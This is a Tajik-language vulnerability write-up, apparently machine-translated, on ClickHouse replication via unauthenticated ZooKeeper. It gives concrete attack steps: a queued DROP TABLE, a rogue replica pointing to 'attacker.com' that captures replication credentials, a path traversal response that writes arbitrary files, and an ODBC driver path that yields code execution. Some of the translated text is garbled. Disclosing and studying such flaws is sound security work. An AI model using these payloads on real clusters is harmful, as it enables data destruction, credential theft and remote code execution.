Ин мақола дар бораи осебпазирии хеле мушаххас дар протоколи такрории ClickHouse нақл мекунад ва инчунин нишон медиҳад, ки чӣ гуна сатҳи ҳамларо васеъ кардан мумкин аст.
ClickHouse пойгоҳи додаҳо барои нигоҳ доштани ҳаҷми зиёди маълумот мебошад, ки аксар вақт зиёда аз як нусхаро истифода мебаранд. Кластерсозӣ ва такрорӣ дар ClickHouse дар боло сохта шудаанд
Насби пешфарзи ZK аутентификатсияро талаб намекунад, аз ин рӯ ҳазорон серверҳои ZK, ки барои конфигуратсияи Кафка, Hadoop, ClickHouse истифода мешаванд, дастраси умум мебошанд.
Барои кам кардани сатҳи ҳамла, шумо бояд ҳамеша ҳангоми насб кардани ZooKeeper аутентификатсия ва иҷозатро танзим кунед
Албатта баъзе аз серислизатсияҳои Java дар давоми 0рӯз мавҷуданд, аммо тасаввур кунед, ки ҳамлакунанда метавонад дар ZooKeeper, ки барои такрори ClickHouse истифода мешавад, хонда ва нависад.
Вақте ки дар ҳолати кластер танзим карда мешавад, ClickHouse дархостҳои тақсимшударо дастгирӣ мекунад /clickhouse/task_queue/ddl
.
Масалан, шумо гиреҳ эҷод мекунед /clickhouse/task_queue/ddl/query-0001
бо мазмун:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ва баъд аз он, ҷадвали санҷишӣ дар серверҳои кластери host1 ва host2 нест карда мешавад. DDL инчунин иҷро кардани дархостҳои CREATE/ALTER/DROP -ро дастгирӣ мекунад.
Садо даҳшатнок? Аммо ҳамлакунанда метавонад суроғаҳои серверро аз куҷо гирад?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
гиреххо барпо карда мешаванд сутунҳо и математика.
Мундариҷа /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Оё имкон аст, ки маълумотро аз ин кластер муттаҳид созем? Бале, агар бандари такрорӣ (TCP/9009
) дар сервер chXX-address
брандмауэр баста нахоҳад шуд ва аутентификатсия барои нусхабардорӣ танзим карда намешавад. Чӣ тавр аз аутентификатсия гузаштан мумкин аст?
Ҳамлагар метавонад як нусхаи навро дар ZK тавассути нусхабардории мундариҷа аз /clickhouse/tables/01-01/foobar/replicas/chXX
ва тагйир додани маъно host
.
Мундариҷа /clickhouse/tables/01–01/foobar/реплика/ҳуҷумкунанда/хост:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Пас шумо бояд ба дигар нусхаҳо бигӯед, ки дар сервери ҳамлагар як блоки нави маълумот мавҷуд аст, ки онҳо бояд онро гиранд - гиреҳ дар ZK сохта шудааст. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(ХХ ҳисобкунаки якранг афзоишёбанда, ки бояд аз охирин дар гузориши рӯйдодҳо зиёдтар бошад):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
ки source_replica - номи репликаи ҳамлагар, ки дар қадами қаблӣ сохта шудааст, block_id - идентификатори блоки маълумот, гирифтан - фармони "даст блок" (ва
Минбаъд, ҳар як реплика рӯйдоди навро дар гузориш мехонад ва ба сервере, ки аз ҷониби ҳамлагар идора мешавад, барои гирифтани блоки маълумот меравад (протоколи такрорӣ дуӣ буда, дар болои HTTP кор мекунад). Сервер attacker.com
дархостҳоро қабул мекунад:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ки дар он XXX маълумоти аутентификатсия барои такрорист. Дар баъзе мавридҳо, ин метавонад ҳисоби дорои дастрасӣ ба пойгоҳи додаҳо тавассути протоколи асосии ClickHouse ва протоколи HTTP бошад. Тавре ки шумо дидед, сатҳи ҳамла хеле калон мешавад, зеро ZooKeeper, ки барои такрор истифода мешавад, бе аутентификатсия танзим карда шудааст.
Биёед ба вазифаи гирифтани блоки маълумот аз реплика назар андозем, он бо боварии комил навишта шудааст, ки ҳама репликаҳо таҳти назорати дуруст қарор доранд ва байни онҳо эътимод вуҷуд дорад.
рамзи коркарди такрорӣ
Функсия рӯйхати файлҳоро мехонад, сипас номҳо, андозаҳо, мундариҷаи онҳоро мехонад ва сипас онҳоро ба системаи файлӣ менависад. Бояд алоҳида тавсиф кард, ки чӣ гуна маълумот дар системаи файлӣ нигоҳ дошта мешавад.
Дар якчанд зеркаталогҳо мавҷуданд /var/lib/clickhouse
(Феҳристи нигаҳдории пешфарз аз файли конфигуратсия):
парчамҳо - директория барои сабт
тмп — директория барои нигоҳ доштани файлҳои муваққатӣ;
user_files — амалиёт бо файлҳои дархостҳо бо ин директория маҳдуд аст (INTO OUTFILE ва ғайра);
математика — файлҳои sql бо тавсифи ҷадвал;
preprocessed_configs - файлҳои конфигуратсияи ҳосилшудаи коркардшуда аз /etc/clickhouse-server
;
маълумот - директорияи воқеӣ бо худи маълумот, дар ин ҳолат барои ҳар як базаи маълумот дар ин ҷо зеркаталоги алоҳида сохта мешавад (масалан /var/lib/clickhouse/data/default
).
Барои ҳар як ҷадвал дар директорияи пойгоҳи додаҳо зеркаталог сохта мешавад. Ҳар як сутун як файли алоҳида вобаста аст
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Реплика интизор аст, ки ҳангоми коркарди блоки маълумот файлҳоро бо ҳамон номҳо қабул кунад ва онҳоро ба ҳеҷ ваҷҳ тасдиқ намекунад.
Хонандаи бодиққат эҳтимол дар бораи пайвастагии хатарноки файл_ном дар функсия шунида бошад WriteBufferFromFile
. Бале, ин ба ҳамлагар имкон медиҳад, ки мундариҷаи ихтиёриро ба ягон файли FS бо ҳуқуқи корбар нависад clickhouse
. Барои ин, нусхаи аз ҷониби ҳамлакунанда идорашаванда бояд ҷавоби зеринро ба дархост баргардонад (барои осонии фаҳмиш танаффусҳои сатр илова карда шудаанд):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
ва пас аз пайвастшавӣ ../../../../../../../../../tmp/pwned
файл навишта мешавад /tmp/pwned бо мазмун салом зоотехник.
Якчанд вариантҳо барои табдил додани қобилияти навиштани файл ба иҷрои рамзи дурдаст (RCE) мавҷуданд.
Луғатҳои беруна дар RCE
Дар версияҳои кӯҳна, феҳрист бо танзимоти ClickHouse бо ҳуқуқҳои корбар нигоҳ дошта мешуд кликхона пешфарз. Файлҳои танзимот файлҳои XML мебошанд, ки хидмат ҳангоми оғозёбӣ мехонад ва пас аз он кэш мекунад /var/lib/clickhouse/preprocessed_configs
. Вақте ки тағирот ба амал меояд, онҳо дубора хонда мешаванд. Агар шумо дастрасӣ дошта бошед /etc/clickhouse-server
ҳамлакунанда метавонад худашро эҷод кунад root
.
ODBC ба RCE
Ҳангоми насб кардани баста, корбар эҷод карда мешавад clickhouse
, аммо феҳристи хонагии он сохта нашудааст /nonexistent
. Аммо, ҳангоми истифодаи луғатҳои беруна ё бо сабабҳои дигар, маъмурон директория эҷод мекунанд /nonexistent
ва ба корбар диҳед clickhouse
дастрасӣ ба навиштан ба он (SSZB! тақрибан. тарчумон).
ClickHouse дастгирӣ мекунад odbc-bridge
, аз ин рӯ дигар имконнопазир аст, ки роҳи ронандаро аз дархост муайян кунед. Аммо оё ҳамлакунанда метавонад бо истифода аз осебпазирии дар боло тавсифшуда ба феҳристи хонагӣ нависад?
Биёед файл эҷод кунем ~/.odbc.ini
бо чунин мундариҷа:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
пас дар оғозёбӣ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
китобхона бор карда мешавад test.so
ва RCE гирифт (ташаккур
Ин ва дигар осебпазириҳо дар версияи ClickHouse 19.14.3 ислоҳ шудаанд. Дар бораи ClickHouse ва ZooKeeper-ҳои худ ғамхорӣ кунед!
Манбаъ: will.com